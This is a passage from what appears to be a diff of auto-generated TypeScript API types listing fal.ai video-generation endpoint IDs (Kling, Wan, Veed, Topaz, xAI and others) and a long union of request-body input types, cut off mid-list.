'fal-ai/pixverse/v6/image-to-video': 'fal-ai/pixverse/v6/image-to-video', + 'fal-ai/pixverse/v6/text-to-video': 'fal-ai/pixverse/v6/text-to-video', + 'fal-ai/pixverse/v6/transition': 'fal-ai/pixverse/v6/transition', + 'fal-ai/rife/video': 'fal-ai/rife/video', + 'fal-ai/sadtalker': 'fal-ai/sadtalker', + 'fal-ai/sadtalker/reference': 'fal-ai/sadtalker/reference', + 'fal-ai/sam-3-1/video': 'fal-ai/sam-3-1/video', + 'fal-ai/sam-3-1/video-rle': 'fal-ai/sam-3-1/video-rle', + 'fal-ai/sam-3/video': 'fal-ai/sam-3/video', + 'fal-ai/sam-3/video-rle': 'fal-ai/sam-3/video-rle', + 'fal-ai/sam2/video': 'fal-ai/sam2/video', + 'fal-ai/scail-2': 'fal-ai/scail-2', + 'fal-ai/seedvr/upscale/video': 'fal-ai/seedvr/upscale/video', + 'fal-ai/sync-lipsync': 'fal-ai/sync-lipsync', + 'fal-ai/sync-lipsync/react-1': 'fal-ai/sync-lipsync/react-1', + 'fal-ai/sync-lipsync/v2': 'fal-ai/sync-lipsync/v2', + 'fal-ai/sync-lipsync/v2/pro': 'fal-ai/sync-lipsync/v2/pro', + 'fal-ai/sync-lipsync/v3': 'fal-ai/sync-lipsync/v3', + 'fal-ai/sync-lipsync/v3/image-to-video': + 'fal-ai/sync-lipsync/v3/image-to-video', + 'fal-ai/thinksound': 'fal-ai/thinksound', + 'fal-ai/thinksound/audio': 'fal-ai/thinksound/audio', + 'fal-ai/video-upscaler': 'fal-ai/video-upscaler', + 'fal-ai/vidu/image-to-video': 'fal-ai/vidu/image-to-video', + 'fal-ai/vidu/q1/image-to-video': 'fal-ai/vidu/q1/image-to-video', + 'fal-ai/vidu/q1/reference-to-video': 'fal-ai/vidu/q1/reference-to-video', + 'fal-ai/vidu/q1/start-end-to-video': 'fal-ai/vidu/q1/start-end-to-video', + 'fal-ai/vidu/q1/text-to-video': 'fal-ai/vidu/q1/text-to-video', + 'fal-ai/vidu/q2/image-to-video/pro': 'fal-ai/vidu/q2/image-to-video/pro', + 'fal-ai/vidu/q2/image-to-video/turbo': 'fal-ai/vidu/q2/image-to-video/turbo', + 'fal-ai/vidu/q2/reference-to-video/pro': + 'fal-ai/vidu/q2/reference-to-video/pro', + 'fal-ai/vidu/q2/text-to-video': 'fal-ai/vidu/q2/text-to-video', + 'fal-ai/vidu/q2/video-extension/pro': 'fal-ai/vidu/q2/video-extension/pro', + 'fal-ai/vidu/q3/image-to-video': 'fal-ai/vidu/q3/image-to-video', + 'fal-ai/vidu/q3/image-to-video/turbo': 'fal-ai/vidu/q3/image-to-video/turbo', + 'fal-ai/vidu/q3/reference-to-video/mix': + 'fal-ai/vidu/q3/reference-to-video/mix', + 'fal-ai/vidu/q3/text-to-video': 'fal-ai/vidu/q3/text-to-video', + 'fal-ai/vidu/q3/text-to-video/turbo': 'fal-ai/vidu/q3/text-to-video/turbo', + 'fal-ai/vidu/q4/image-to-video': 'fal-ai/vidu/q4/image-to-video', + 'fal-ai/vidu/q4/reference-to-video': 'fal-ai/vidu/q4/reference-to-video', + 'fal-ai/vidu/reference-to-video': 'fal-ai/vidu/reference-to-video', + 'fal-ai/vidu/start-end-to-video': 'fal-ai/vidu/start-end-to-video', + 'fal-ai/vidu/template-to-video': 'fal-ai/vidu/template-to-video', + 'fal-ai/void-video-inpainting': 'fal-ai/void-video-inpainting', + 'fal-ai/wan-22-vace-fun-a14b/depth': 'fal-ai/wan-22-vace-fun-a14b/depth', + 'fal-ai/wan-22-vace-fun-a14b/inpainting': + 'fal-ai/wan-22-vace-fun-a14b/inpainting', + 'fal-ai/wan-22-vace-fun-a14b/outpainting': + 'fal-ai/wan-22-vace-fun-a14b/outpainting', + 'fal-ai/wan-22-vace-fun-a14b/reframe': 'fal-ai/wan-22-vace-fun-a14b/reframe', + 'fal-ai/wan-25-preview/image-to-video': + 'fal-ai/wan-25-preview/image-to-video', + 'fal-ai/wan-25-preview/text-to-video': 'fal-ai/wan-25-preview/text-to-video', + 'fal-ai/wan-i2v': 'fal-ai/wan-i2v', + 'fal-ai/wan-i2v-lora': 'fal-ai/wan-i2v-lora', + 'fal-ai/wan-pro/image-to-video': 'fal-ai/wan-pro/image-to-video', + 'fal-ai/wan-pro/text-to-video': 'fal-ai/wan-pro/text-to-video', + 'fal-ai/wan-t2v-lora': 'fal-ai/wan-t2v-lora', + 'fal-ai/wan-vace-14b': 'fal-ai/wan-vace-14b', + 'fal-ai/wan-vace-14b/depth': 'fal-ai/wan-vace-14b/depth', + 'fal-ai/wan-vace-14b/inpainting': 'fal-ai/wan-vace-14b/inpainting', + 'fal-ai/wan-vace-14b/outpainting': 'fal-ai/wan-vace-14b/outpainting', + 'fal-ai/wan-vace-14b/pose': 'fal-ai/wan-vace-14b/pose', + 'fal-ai/wan-vace-14b/reframe': 'fal-ai/wan-vace-14b/reframe', + 'fal-ai/wan-vace-apps/long-reframe': 'fal-ai/wan-vace-apps/long-reframe', + 'fal-ai/wan-vace-apps/video-edit': 'fal-ai/wan-vace-apps/video-edit', + 'fal-ai/wan/v2.2-14b/animate/move': 'fal-ai/wan/v2.2-14b/animate/move', + 'fal-ai/wan/v2.2-14b/animate/replace': 'fal-ai/wan/v2.2-14b/animate/replace', + 'fal-ai/wan/v2.2-14b/speech-to-video': 'fal-ai/wan/v2.2-14b/speech-to-video', + 'fal-ai/wan/v2.2-5b/image-to-video': 'fal-ai/wan/v2.2-5b/image-to-video', + 'fal-ai/wan/v2.2-5b/text-to-video': 'fal-ai/wan/v2.2-5b/text-to-video', + 'fal-ai/wan/v2.2-5b/text-to-video/distill': + 'fal-ai/wan/v2.2-5b/text-to-video/distill', + 'fal-ai/wan/v2.2-5b/text-to-video/fast-wan': + 'fal-ai/wan/v2.2-5b/text-to-video/fast-wan', + 'fal-ai/wan/v2.2-a14b/image-to-video': 'fal-ai/wan/v2.2-a14b/image-to-video', + 'fal-ai/wan/v2.2-a14b/image-to-video/lora': + 'fal-ai/wan/v2.2-a14b/image-to-video/lora', + 'fal-ai/wan/v2.2-a14b/image-to-video/turbo': + 'fal-ai/wan/v2.2-a14b/image-to-video/turbo', + 'fal-ai/wan/v2.2-a14b/text-to-video': 'fal-ai/wan/v2.2-a14b/text-to-video', + 'fal-ai/wan/v2.2-a14b/text-to-video/lora': + 'fal-ai/wan/v2.2-a14b/text-to-video/lora', + 'fal-ai/wan/v2.2-a14b/text-to-video/turbo': + 'fal-ai/wan/v2.2-a14b/text-to-video/turbo', + 'fal-ai/wan/v2.2-a14b/video-to-video': 'fal-ai/wan/v2.2-a14b/video-to-video', + 'fal-ai/wan/v2.7/edit-video': 'fal-ai/wan/v2.7/edit-video', + 'fal-ai/wan/v2.7/image-to-video': 'fal-ai/wan/v2.7/image-to-video', + 'fal-ai/wan/v2.7/reference-to-video': 'fal-ai/wan/v2.7/reference-to-video', + 'fal-ai/wan/v2.7/text-to-video': 'fal-ai/wan/v2.7/text-to-video', + 'fal-ai/workflow-utilities/auto-subtitle': + 'fal-ai/workflow-utilities/auto-subtitle', + 'fal-ai/workflow-utilities/blend-video': + 'fal-ai/workflow-utilities/blend-video', + 'fal-ai/workflow-utilities/reverse-video': + 'fal-ai/workflow-utilities/reverse-video', + 'fal-ai/workflow-utilities/scale-video': + 'fal-ai/workflow-utilities/scale-video', + 'fal-ai/workflow-utilities/trim-video': + 'fal-ai/workflow-utilities/trim-video', + 'google/gemini-omni-flash': 'google/gemini-omni-flash', + 'google/gemini-omni-flash/edit': 'google/gemini-omni-flash/edit', + 'google/gemini-omni-flash/image-to-video': + 'google/gemini-omni-flash/image-to-video', + 'google/gemini-omni-flash/reference-to-video': + 'google/gemini-omni-flash/reference-to-video', + 'google/gemini-omni-flash/v1.1/edit': 'google/gemini-omni-flash/v1.1/edit', + 'google/gemini-omni-flash/v1.1/image-to-video': + 'google/gemini-omni-flash/v1.1/image-to-video', + 'google/gemini-omni-flash/v1.1/reference-to-video': + 'google/gemini-omni-flash/v1.1/reference-to-video', + 'google/gemini-omni-flash/v1.1/text-to-video': + 'google/gemini-omni-flash/v1.1/text-to-video', + 'google/gemini-omni-flash/v1.2/edit': 'google/gemini-omni-flash/v1.2/edit', + 'google/gemini-omni-flash/v1.2/extend': + 'google/gemini-omni-flash/v1.2/extend', + 'google/gemini-omni-flash/v1.2/image-to-video': + 'google/gemini-omni-flash/v1.2/image-to-video', + 'google/gemini-omni-flash/v1.2/reference-to-video': + 'google/gemini-omni-flash/v1.2/reference-to-video', + 'google/gemini-omni-flash/v1.2/text-to-video': + 'google/gemini-omni-flash/v1.2/text-to-video', + 'google/gemini-omni-flash/v1.2/upscale': + 'google/gemini-omni-flash/v1.2/upscale', + 'heygen/heygen-video/image-to-video': 'heygen/heygen-video/image-to-video', + 'heygen/heygen-video/reference-to-video': + 'heygen/heygen-video/reference-to-video', + 'heygen/heygen-video/text-to-video': 'heygen/heygen-video/text-to-video', + 'kling/v4/flash/image-to-video': 'kling/v4/flash/image-to-video', + 'kling/v4/flash/reference-to-video': 'kling/v4/flash/reference-to-video', + 'kling/v4/flash/text-to-video': 'kling/v4/flash/text-to-video', + 'kling/v4/flash/video-to-video': 'kling/v4/flash/video-to-video', + 'kling/v4/image-to-video': 'kling/v4/image-to-video', + 'kling/v4/reference-to-video': 'kling/v4/reference-to-video', + 'kling/v4/text-to-video': 'kling/v4/text-to-video', + 'kling/v4/video-to-video/edit': 'kling/v4/video-to-video/edit', + 'lightricks/ltx-2.5/audio-to-video/fast': + 'lightricks/ltx-2.5/audio-to-video/fast', + 'lightricks/ltx-2.5/audio-to-video/pro': + 'lightricks/ltx-2.5/audio-to-video/pro', + 'lightricks/ltx-2.5/image-to-video/fast': + 'lightricks/ltx-2.5/image-to-video/fast', + 'lightricks/ltx-2.5/image-to-video/pro': + 'lightricks/ltx-2.5/image-to-video/pro', + 'lightricks/ltx-2.5/text-to-video/fast': + 'lightricks/ltx-2.5/text-to-video/fast', + 'lightricks/ltx-2.5/text-to-video/pro': + 'lightricks/ltx-2.5/text-to-video/pro', + 'luma/agent/ray/v3.2/image-to-video': 'luma/agent/ray/v3.2/image-to-video', + 'luma/agent/ray/v3.2/reframe': 'luma/agent/ray/v3.2/reframe', + 'luma/agent/ray/v3.2/text-to-video': 'luma/agent/ray/v3.2/text-to-video', + 'luma/agent/ray/v3.2/video-to-video': 'luma/agent/ray/v3.2/video-to-video', + 'minimax/h3-max-turbo/extend-video': 'minimax/h3-max-turbo/extend-video', + 'minimax/h3-max-turbo/image-to-video': 'minimax/h3-max-turbo/image-to-video', + 'minimax/h3-max-turbo/reference-to-video': + 'minimax/h3-max-turbo/reference-to-video', + 'minimax/h3-max-turbo/text-to-video': 'minimax/h3-max-turbo/text-to-video', + 'minimax/h3-max/3d-to-video': 'minimax/h3-max/3d-to-video', + 'minimax/h3-max/camera-controls': 'minimax/h3-max/camera-controls', + 'minimax/h3-max/extend-video': 'minimax/h3-max/extend-video', + 'minimax/h3-max/image-to-video': 'minimax/h3-max/image-to-video', + 'minimax/h3-max/insert-video': 'minimax/h3-max/insert-video', + 'minimax/h3-max/lip-sync/image-to-video': + 'minimax/h3-max/lip-sync/image-to-video', + 'minimax/h3-max/recast': 'minimax/h3-max/recast', + 'minimax/h3-max/reference-to-video': 'minimax/h3-max/reference-to-video', + 'minimax/h3-max/reframe-video': 'minimax/h3-max/reframe-video', + 'minimax/h3-max/relight': 'minimax/h3-max/relight', + 'minimax/h3-max/styles/16bit-pixel': 'minimax/h3-max/styles/16bit-pixel', + 'minimax/h3-max/styles/hand-drawn': 'minimax/h3-max/styles/hand-drawn', + 'minimax/h3-max/styles/low-poly': 'minimax/h3-max/styles/low-poly', + 'minimax/h3-max/styles/retro-toon-70s': + 'minimax/h3-max/styles/retro-toon-70s', + 'minimax/h3-max/styles/vhs': 'minimax/h3-max/styles/vhs', + 'minimax/h3-max/text-to-video': 'minimax/h3-max/text-to-video', + 'minimax/h3/image-to-video': 'minimax/h3/image-to-video', + 'minimax/h3/image-to-video/lora': 'minimax/h3/image-to-video/lora', + 'minimax/h3/reference-to-video': 'minimax/h3/reference-to-video', + 'minimax/h3/reference-to-video/lora': 'minimax/h3/reference-to-video/lora', + 'minimax/h3/text-to-video': 'minimax/h3/text-to-video', + 'minimax/h3/text-to-video/lora': 'minimax/h3/text-to-video/lora', + 'mirelo-ai/sfx2.0/video-to-video': 'mirelo-ai/sfx2.0/video-to-video', + 'moonvalley/marey/i2v': 'moonvalley/marey/i2v', + 'moonvalley/marey/motion-transfer': 'moonvalley/marey/motion-transfer', + 'moonvalley/marey/pose-transfer': 'moonvalley/marey/pose-transfer', + 'moonvalley/marey/t2v': 'moonvalley/marey/t2v', + 'mureka/api/generate/lyrics-video': 'mureka/api/generate/lyrics-video', + 'nvidia/cosmos-3-super/image-to-video': + 'nvidia/cosmos-3-super/image-to-video', + 'pixelcut/looping-video': 'pixelcut/looping-video', + 'pixelcut/video-background-removal': 'pixelcut/video-background-removal', + 'pixverse/music-video/vibemv': 'pixverse/music-video/vibemv', + 'sonilo/v1.1/video-to-video-music': 'sonilo/v1.1/video-to-video-music', + 'sonilo/v1.1/video-to-video-sound-effects': + 'sonilo/v1.1/video-to-video-sound-effects', + 'tbc/mischief-1/image-to-video': 'tbc/mischief-1/image-to-video', + 'topaz/deblur/video': 'topaz/deblur/video', + 'topaz/denoise/video': 'topaz/denoise/video', + 'topaz/interpolate/video': 'topaz/interpolate/video', + 'topaz/sdr-to-hdr/video': 'topaz/sdr-to-hdr/video', + 'topaz/upscale/video/creative': 'topaz/upscale/video/creative', + 'topaz/upscale/video/generative': 'topaz/upscale/video/generative', + 'topaz/upscale/video/precision': 'topaz/upscale/video/precision', + 'vast/eden-live-14b-video': 'vast/eden-live-14b-video', + 'vast/eden-live-5b-video': 'vast/eden-live-5b-video', + 'veed/avatars/audio-to-video': 'veed/avatars/audio-to-video', + 'veed/avatars/text-to-video': 'veed/avatars/text-to-video', + 'veed/dubbing': 'veed/dubbing', + 'veed/dubbing/pro': 'veed/dubbing/pro', + 'veed/fabric-1.0': 'veed/fabric-1.0', + 'veed/fabric-1.0/fast': 'veed/fabric-1.0/fast', + 'veed/fabric-1.0/text': 'veed/fabric-1.0/text', + 'veed/lipsync': 'veed/lipsync', + 'veed/lipsync/v2': 'veed/lipsync/v2', + 'veed/subtitles': 'veed/subtitles', + 'veed/video-background-removal': 'veed/video-background-removal', + 'veed/video-background-removal/fast': 'veed/video-background-removal/fast', + 'veed/video-background-removal/green-screen': + 'veed/video-background-removal/green-screen', + 'wan/v2.6/image-to-video': 'wan/v2.6/image-to-video', + 'wan/v2.6/image-to-video/flash': 'wan/v2.6/image-to-video/flash', + 'wan/v2.6/reference-to-video': 'wan/v2.6/reference-to-video', + 'wan/v2.6/reference-to-video/flash': 'wan/v2.6/reference-to-video/flash', + 'wan/v2.6/text-to-video': 'wan/v2.6/text-to-video', + 'xai/grok-imagine-video/edit-video': 'xai/grok-imagine-video/edit-video', + 'xai/grok-imagine-video/extend-video': 'xai/grok-imagine-video/extend-video', + 'xai/grok-imagine-video/image-to-video': + 'xai/grok-imagine-video/image-to-video', + 'xai/grok-imagine-video/reference-to-video': + 'xai/grok-imagine-video/reference-to-video', + 'xai/grok-imagine-video/text-to-video': + 'xai/grok-imagine-video/text-to-video', + 'xai/grok-imagine-video/v1.5/image-to-video': + 'xai/grok-imagine-video/v1.5/image-to-video', + 'xai/grok-imagine-video/v1.5/lite/image-to-video': + 'xai/grok-imagine-video/v1.5/lite/image-to-video', + 'xai/grok-imagine-video/v1.5/lite/text-to-video': + 'xai/grok-imagine-video/v1.5/lite/text-to-video', + 'xai/grok-imagine-video/v1.5/reference-to-video': + 'xai/grok-imagine-video/v1.5/reference-to-video', + 'xai/grok-imagine-video/v1.5/text-to-video': + 'xai/grok-imagine-video/v1.5/text-to-video', +} as const + +export type FalPostEndpointIdEndpointIdKey = + (typeof falPostEndpointIdEndpointId)[keyof typeof falPostEndpointIdEndpointId] + +export type FalPostEndpointIdPath = { + /** + * @description Model raw id. Slashes are path segments: fal-ai/flux/dev is https://queue.fal.run/fal-ai/flux/dev, not fal-ai%2Fflux%2Fdev. x-modelschemas-encode is raw — do not percent-encode this value. + * @type string + */ + endpoint_id: FalPostEndpointIdEndpointIdKey +} + +export type FalPostEndpointIdStatus200 = unknown + +export type FalPostEndpointIdBody = + | InputAlibabaHappyHorseImageToVideo + | InputAlibabaHappyHorseReferenceToVideo + | InputAlibabaHappyHorseTextToVideo + | InputAlibabaHappyHorseV11ImageToVideo + | InputAlibabaHappyHorseV11ReferenceToVideo + | InputAlibabaHappyHorseV11TextToVideo + | InputAlibabaHappyHorseVideoEdit + | InputAlibabaWan30PrimeImageToVideo + | InputAlibabaWan30PrimeReferenceToVideo + | InputAlibabaWan30PrimeTextToVideo + | InputAlibabaWan30ImageToVideo + | InputAlibabaWan30ReferenceToVideo + | InputAlibabaWan30TextToVideo + | InputArgilAvatarsAudioToVideo + | InputArgilAvatarsTextToVideo + | InputBlackforestlabsFlux3MaxImageToVideo + | InputBlackforestlabsFlux3MaxKeyframesToVideo + | InputBlackforestlabsFlux3MaxTextToVideo + | InputBlackforestlabsFlux3DraftEnhance + | InputBlackforestlabsFlux3EditVideo + | InputBlackforestlabsFlux3ExtendVideo + | InputBlackforestlabsFlux3ExtendVideoDraft + | InputBlackforestlabsFlux3FirstLastFrameToVideo + | InputBlackforestlabsFlux3FirstLastFrameToVideoDraft + | InputBlackforestlabsFlux3ImageToVideo + | InputBlackforestlabsFlux3ImageToVideoDraft + | InputBlackforestlabsFlux3KeyframesToVideo + | InputBlackforestlabsFlux3KeyframesToVideoDraft + | InputBlackforestlabsFlux3TextToVideo + | InputBlackforestlabsFlux3TextToVideoDraft + | InputBlackforestlabsFluxVideoUpscale + | InputBriaBriaVideoEraserEraseKeypoints + | InputBriaBriaVideoEraserEraseMask + | InputBriaBriaVideoEraserErasePrompt + | InputBriaVideoBackgroundRemoval + | InputBriaVideoBackgroundRemovalGreenScreenDespill + | InputBriaVideoBackgroundRemovalRealtime + | InputBriaVideoBackgroundRemovalV3 + | InputBriaVideoEraseKeypoints + | InputBriaVideoEraseMask + | InputBriaVideoErasePrompt + | InputBriaVideoIncreaseResolution + | InputBytedanceOmnihumanV2 + | InputBytedanceSeedance20FastImageToVideo + | InputBytedanceSeedance20FastReferenceToVideo + | InputBytedanceSeedance20FastTextToVideo + | InputBytedanceSeedance20MiniImageToVideo + | InputBytedanceSeedance20MiniReferenceToVideo + | InputBytedanceSeedance20MiniTextToVideo + | InputBytedanceSeedance20UsImageToVideo + | InputBytedanceSeedance20UsReferenceToVideo + | InputBytedanceSeedance20UsTextToVideo + | InputBytedanceSeedance25UsDraftComplete + | InputBytedanceSeedance25UsImageToVideo + | InputBytedanceSeedance25UsReferenceToVideo + | InputBytedanceSeedance25UsTextToVideo + | InputCassetteaiVideoSoundEffectsGenerator + | InputClarityaiCrystalVideoUpscaler + | InputCreatifyBoreal + | InputDecartLucy25Realtime + | InputDecartLucyRestyle + | InputDecartLucy2VtonRealtime + | InputFalAiAiAvatarMulti + | InputFalAiAiAvatarMultiText + | InputFalAiAiAvatarSingleText + | InputFalAiAutoCaption + | InputFalAiBenV2Video + | InputFalAiBirefnetV2Video + | InputFalAiBytedanceUpscalerUpscaleVideo + | InputFalAiBytedanceDreamactorV2 + | InputFalAiBytedanceOmnihuman + | InputFalAiBytedanceOmnihumanV15 + | InputFalAiBytedanceSeedanceV15ProImageToVideo + | InputFalAiBytedanceSeedanceV15ProTextToVideo + | InputFalAiBytedanceSeedanceV1ProFastImageToVideo + | InputFalAiBytedanceSeedanceV1ProFastTextToVideo + | InputFalAiBytedanceSeedanceV1ProImageToVideo + | InputFalAiBytedanceSeedanceV1ProTextToVideo + | InputFalAiCreatifyAurora + | InputFalAiDavinciMagihuman + | InputFalAiDepthAnythingVideo + | InputFalAiDwposeVideo + | InputFalAiEchomimicV3 + | InputFalAiElevenlabsDubbing + | InputFalAiFfmpegApiCompose + | InputFalAiFfmpegApiImagesToVideo + | InputFalAiFfmpegApiMergeAudioVideo + | InputFalAiFfmpegApiMergeVideos + | InputFalAiFilmVideo + | InputFalAiFlashhead + | InputFalAiFlux3ActionSo101 + | InputFalAiFramepack + | InputFalAiFramepackF1 + | InputFalAiFramepackFlf2V + | InputFalAiHeygenAvatar3DigitalTwin + | InputFalAiHeygenAvatar4DigitalTwin + | InputFalAiHeygenAvatar4ImageToVideo + | InputFalAiHeygenAvatar5DigitalTwin + | InputFalAiHeygenV2TranslatePrecision + | InputFalAiHeygenV2TranslateSpeed + | InputFalAiHeygenV2VideoAgent + | InputFalAiHeygenV3FillerWordRemoval + | InputFalAiHeygenV3LipsyncPrecision + | InputFalAiHeygenV3LipsyncSpeed + | InputFalAiHeygenV3VideoAgent + | InputFalAiHunyuanVideo + | InputFalAiHunyuanVideoFoley + | InputFalAiHunyuanVideoImageToVideo + | InputFalAiHunyuanVideoV15ImageToVideo + | InputFalAiHunyuanVideoV15TextToVideo + | InputFalAiHunyuanVideoVideoToVideo + | InputFalAiIdV2V + | InputFalAiIdV2VRelight + | InputFalAiInfinityStarTextToVideo + | InputFalAiKandinsky5ProImageToVideo + | InputFalAiKandinsky5ProTextToVideo + | InputFalAiKandinsky5TextToVideo + | InputFalAiKandinsky5TextToVideoDistill + | InputFalAiKandinsky6LiteImageToVideo + | InputFalAiKandinsky6LiteTextToVideo + | InputFalAiKandinsky6ProImageToVideo + | InputFalAiKandinsky6ProTextToVideo + | InputFalAiKandinsky6Vsr + | InputFalAiKandinsky6VsrLite + | InputFalAiKlingVideoAiAvatarV2Pro + | InputFalAiKlingVideoAiAvatarV2Standard + | InputFalAiKlingVideoLipsyncAudioToVideo + | InputFalAiKlingVideoLipsyncTextToVideo + | InputFalAiKlingVideoO1ImageToVideo + | InputFalAiKlingVideoO1ReferenceToVideo + | InputFalAiKlingVideoO1StandardImageToVideo + | InputFalAiKlingVideoO1StandardReferenceToVideo + | InputFalAiKlingVideoO1StandardVideoToVideoEdit + | InputFalAiKlingVideoO1StandardVideoToVideoReference + | InputFalAiKlingVideoO1VideoToVideoEdit + | InputFalAiKlingVideoO1VideoToVideoReference + | InputFalAiKlingVideoO34KImageToVideo + | InputFalAiKlingVideoO34KReferenceToVideo + | InputFalAiKlingVideoO34KTextToVideo + | InputFalAiKlingVideoO34KVideoToVideoEdit + | InputFalAiKlingVideoO34KVideoToVideoReference + | InputFalAiKlingVideoO3ProImageToVideo + | InputFalAiKlingVideoO3ProReferenceToVideo + | InputFalAiKlingVideoO3ProTextToVideo + | InputFalAiKlingVideoO3ProVideoToVideoEdit + | InputFalAiKlingVideoO3ProVideoToVideoReference + | InputFalAiKlingVideoO3StandardImageToVideo + | InputFalAiKlingVideoO3StandardReferenceToVideo + | InputFalAiKlingVideoO3StandardTextToVideo + | InputFalAiKlingVideoO3StandardVideoToVideoEdit + | InputFalAiKlingVideoO3StandardVideoToVideoReference + | InputFalAiKlingVideoV15ProEffects + | InputFalAiKlingVideoV16ProEffects + | InputFalAiKlingVideoV16StandardEffects + | InputFalAiKlingVideoV1ProAiAvatar + | InputFalAiKlingVideoV1StandardAiAvatar + | InputFalAiKlingVideoV1StandardEffects + | InputFalAiKlingVideoV25TurboProImageToVideo + | InputFalAiKlingVideoV25TurboProTextToVideo + | InputFalAiKlingVideoV25TurboStandardImageToVideo + | InputFalAiKlingVideoV26ProImageToVideo + | InputFalAiKlingVideoV26ProMotionControl + | InputFalAiKlingVideoV26ProTextToVideo + | InputFalAiKlingVideoV26StandardMotionControl + | InputFalAiKlingVideoV34KImageToVideo + | InputFalAiKlingVideoV34KTextToVideo + | InputFalAiKlingVideoV3ProImageToVideo + | InputFalAiKlingVideoV3ProMotionControl + | InputFalAiKlingVideoV3ProTextToVideo + | InputFalAiKlingVideoV3StandardImageToVideo + | InputFalAiKlingVideoV3StandardMotionControl + | InputFalAiKlingVideoV3StandardTextToVideo + | InputFalAiKlingVideoV3TurboProImageToVideo + | InputFalAiKlingVideoV3TurboProTextToVideo + | InputFalAiKlingVideoV3TurboStandardImageToVideo + | InputFalAiKlingVideoV3TurboStandardTextToVideo + | InputFalAiKreaWan14BTextToVideo + | InputFalAiKreaWan14BVideoToVideo + | InputFalAiLatentsync + | InputFalAiLightxRecamera + | InputFalAiLightxRelight + | InputFalAiLivePortrait + | InputFalAiLongcatSingleAvatarAudioToVideo + | InputFalAiLongcatSingleAvatarImageAudioToVideo + | InputFalAiLongcatVideoDistilledImageToVideo480P + | InputFalAiLongcatVideoDistilledImageToVideo720P + | InputFalAiLongcatVideoDistilledTextToVideo480P + | InputFalAiLongcatVideoDistilledTextToVideo720P + | InputFalAiLongcatVideoImageToVideo480P + | InputFalAiLongcatVideoImageToVideo720P + | InputFalAiLongcatVideoTextToVideo480P + | InputFalAiLongcatVideoTextToVideo720P + | InputFalAiLtx2322BAudioToVideo + | InputFalAiLtx2322BAudioToVideoLora + | InputFalAiLtx2322BDistilledAudioToVideo + | InputFalAiLtx2322BDistilledAudioToVideoLora + | InputFalAiLtx2322BDistilledImageToVideo + | InputFalAiLtx2322BDistilledImageToVideoLora + | InputFalAiLtx2322BDistilledReferenceVideoToVideo + | InputFalAiLtx2322BDistilledReferenceVideoToVideoLora + | InputFalAiLtx2322BDistilledTextToVideo + | InputFalAiLtx2322BDistilledTextToVideoLora + | InputFalAiLtx2322BDistilledVideoToVideo + | InputFalAiLtx2322BDistilledVideoToVideoLora + | InputFalAiLtx2322BExtendVideo + | InputFalAiLtx2322BExtendVideoLora + | InputFalAiLtx2322BImageToVideo + | InputFalAiLtx2322BImageToVideoLora + | InputFalAiLtx2322BReferenceVideoToVideo + | InputFalAiLtx2322BReferenceVideoToVideoLora + | InputFalAiLtx2322BTextToVideo + | InputFalAiLtx2322BTextToVideoLora + | InputFalAiLtx2322BVideoToVideo + | InputFalAiLtx2322BVideoToVideoLora + | InputFalAiLtx23QualityAudioToVideo + | InputFalAiLtx23QualityAudioToVideoLora + | InputFalAiLtx23QualityCleanPlate + | InputFalAiLtx23QualityColorization + | InputFalAiLtx23QualityCrossEyed + | InputFalAiLtx23QualityDayToNight + | InputFalAiLtx23QualityDeblur + | InputFalAiLtx23QualityDecompression + | InputFalAiLtx23QualityExtendVideo + | InputFalAiLtx23QualityExtendVideoLora + | InputFalAiLtx23QualityHdr + | InputFalAiLtx23QualityHdrLora + | InputFalAiLtx23QualityImageToVideo + | InputFalAiLtx23QualityImageToVideoLora + | InputFalAiLtx23QualityIngredient + | InputFalAiLtx23QualityInpaint + | InputFalAiLtx23QualityInpaintLora + | InputFalAiLtx23QualityInstantShave + | InputFalAiLtx23QualityOutpaint + | InputFalAiLtx23QualityOutpaintLora + | InputFalAiLtx23QualityReferenceVideoToVideo + | InputFalAiLtx23QualityReferenceVideoToVideoLora + | InputFalAiLtx23QualityRenderToReal + | InputFalAiLtx23QualityTextToVideo + | InputFalAiLtx23QualityTextToVideoLora + | InputFalAiLtx23QualityWaterSimulation + | InputFalAiLtx23AudioToVideo + | InputFalAiLtx23ExtendVideo + | InputFalAiLtx23ImageToVideo + | InputFalAiLtx23ImageToVideoFast + | InputFalAiLtx23Reframe + | InputFalAiLtx23RetakeVideo + | InputFalAiLtx23TextToVideo + | InputFalAiLtx23TextToVideoFast + | InputFalAiLtxVideo + | InputFalAiLtxVideo13BDistilled + | InputFalAiLtxVideo13BDistilledExtend + | InputFalAiLtxVideo13BDistilledImageToVideo + | InputFalAiLtxVideo13BDistilledMulticonditioning + | InputFalAiLtxVideoImageToVideo + | InputFalAiLtxv13B098Distilled + | InputFalAiLtxv13B098DistilledExtend + | InputFalAiLtxv13B098DistilledImageToVideo + | InputFalAiLtxv13B098DistilledMulticonditioning + | InputFalAiMagiDistilled + | InputFalAiMagiDistilledExtendVideo + | InputFalAiMagiDistilledImageToVideo + | InputFalAiMinimaxHailuo02FastImageToVideo + | InputFalAiMinimaxHailuo02ProImageToVideo + | InputFalAiMinimaxHailuo02ProTextToVideo + | InputFalAiMinimaxHailuo02StandardImageToVideo + | InputFalAiMinimaxHailuo02StandardTextToVideo + | InputFalAiMinimaxHailuo23FastProImageToVideo + | InputFalAiMinimaxHailuo23FastStandardImageToVideo + | InputFalAiMinimaxHailuo23ProImageToVideo + | InputFalAiMinimaxHailuo23ProTextToVideo + | InputFalAiMinimaxHailuo23StandardImageToVideo + | InputFalAiMinimaxHailuo23StandardTextToVideo + | InputFalAiMinimaxVideo01 + | InputFalAiMinimaxVideo01Director + | InputFalAiMinimaxVideo01DirectorImageToVideo + | InputFalAiMinimaxVideo01Live + | InputFalAiMinimaxVideo01LiveImageToVideo + | InputFalAiMinimaxVideo01SubjectReference + | InputFalAiMinimaxVideo01ImageToVideo + | InputFalAiMmaudioV2 + | InputFalAiMotionToCodeGlsl + | InputFalAiMotionToCodeGsap + | InputFalAiOneToAllAnimation13B + | InputFalAiOneToAllAnimation14B + | InputFalAiOvi + | InputFalAiOviImageToVideo + | InputFalAiPixverseC1ImageToVideo + | InputFalAiPixverseC1ReferenceToVideo + | InputFalAiPixverseC1TextToVideo + | InputFalAiPixverseC1Transition + | InputFalAiPixverseExtend + | InputFalAiPixverseExtendFast + | InputFalAiPixverseLipsync + | InputFalAiPixverseSoundEffects + | InputFalAiPixverseSwap + | InputFalAiPixverseV35Effects + | InputFalAiPixverseV35ImageToVideo + | InputFalAiPixverseV35ImageToVideoFast + | InputFalAiPixverseV35TextToVideo + | InputFalAiPixverseV35TextToVideoFast + | InputFalAiPixverseV35Transition + | InputFalAiPixverseV45Effects + | InputFalAiPixverseV45ImageToVideo + | 